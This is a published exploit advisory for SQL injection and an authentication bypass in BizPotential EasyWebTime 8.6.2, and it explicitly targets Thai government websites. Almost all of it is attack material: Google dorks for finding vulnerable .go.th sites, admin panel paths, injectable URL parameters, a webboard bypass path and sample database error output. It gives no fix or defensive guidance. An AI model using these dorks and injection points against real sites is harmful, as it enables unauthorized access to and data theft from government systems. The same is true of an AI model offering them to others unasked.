BizPotential EasyWebTime version 8.6.2 suffers from bypass and remote SQL injection vulnerabilities.
87b29ff8df964bfb44035033fedb86fb#############################################################
# Exploit Title : BizPotential EasyWebTime 8.6.2 SQL Injection / Bypass
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : bizpotential.com ~ ewtadmin.com
# Software Information Link : bizpotential.com/overview.php
# Software Affected Version : 8.6.2 and all previous versions.
# Software Price : 100$
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-592 - Authentication Bypass Issues
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018090088
#############################################################
BizPotential EasyWebTime 8.6.2 Thailand Government SQL Injection Vulnerability
#############################################################
# Google Dorks :
*****************
inurl:''/ewtadmin/'' site:go.th
inurl:''/main.php?filename='' site:go.th
inurl:''/ewtadmin/ewt/ccs/''
intext:''(c) Copyright 2007 - BizPotential.com - All Rights Reserved.''
intext:''Copyright 2007 - BizPotential Co., Ltd. - All Rights Reserved''
#############################################################
# Admin Control Panel Paths :
***************************
/ewtadmin/index.php
/ewtadmin82/
/ewtcommittee/index2331.php
/ewtadmin/ewt/DOMAINNAMEHERE_intranet/ewt_login.php
#############################################################
# SQL Injection Exploit :
***********************
/n_more3.php?page=[ID-NUMBER]&c_id=[SQL Injection]
/ewtadmin/ewt/[DOMAINNAME_web/n_more.php?c_id=[SQL Injection]
/more_news.php?offset=[SQL Injection]
/more_news.php?offset=-[ID-NUMBER]&cid=&startoffset=[SQL Injection]
#############################################################
# Webboard Exploit Bypass :
**************************
/ewtadmin/ewt/ccs/addquestion.php?wcad=5&t=1&filename=webboard
# Webboard Directory Path :
**************************
/ewtadmin/ewt/ccs/index_question.php?wcad=5&t=1&filename=webboard
/index_question.php?wcad=5&t=1&filename=webboard
ccs.DOMAINNAME.go.th/index_question.php?wcad=5&t=1&filename=webboard
#############################################################
# Example SQL Database Errors =>
********************************
SELECT * FROM article_list WHERE c_id = '199'' and n_approve = 'Y'
ORDER BY n_date DESC LIMIT -20,20
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '-20,20' at line 1
SELECT * FROM article_list WHERE ( c_id = '' ) AND n_approve =
'Y' AND (('2561-09-10 05:57:13' between n_date_start and n_date_end)
or (n_date_start = '' and n_date_end = '')) ORDER BY n_date
DESC,n_timestamp DESC LIMIT 60\\\',20
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\\\',20' at line 1
#############################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#############################################################